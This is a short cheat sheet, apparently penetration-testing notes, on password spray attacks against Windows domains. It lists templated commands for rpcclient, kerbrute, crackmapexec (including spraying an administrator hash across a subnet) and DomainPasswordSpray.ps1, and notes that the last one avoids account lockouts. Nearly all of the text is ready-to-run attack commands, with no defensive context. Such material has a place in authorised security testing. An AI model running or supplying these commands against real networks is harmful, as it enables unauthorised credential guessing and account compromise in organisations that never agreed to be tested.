Password Spray Attack

---

Linux

valid usernames file password spray one liner [rpcclient]

for u in $(cat {{username_file}});do rpcclient -U "$u%{{password}}" -c "getusername;quit" {{Target_IP}} | grep Authority; done

pass spray with kerbrute

kerbrute passwordspray -d {{domain}} --dc {{Target_IP}} {{users_file}} {{password}}

filtering valid user results with grep

sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

validating the credentials

sudo crackmapexec smb {{Target_IP}} -u {{username}} -p {{password}}

local admin credential spray

sudo crackmapexec smb --local-auth {{domain_IP_range}}.0/23 -u administrator -H {{HASH}} | grep +

Windows [Target]

Tool: Domain Password Spray Purpose : To perform password spray from a windows host

DomainPasswordSpray.ps1

If we are authenticated to the domain, the tool will automatically generate a user list from Active Directory, query the domain password policy, and exclude user accounts within one attempt of locking out

Import-Module .\DomainPasswordSpray.ps1

Invoke-DomainPasswordSpray -Password {{password}} -OutFile spray_success -ErrorAction SilentlyContinue

Password spray with kerbrute

.\kerbrute_windows_amd64.exe passwordspray -d {{domain}} .\usernames.txt "{{password}}"

---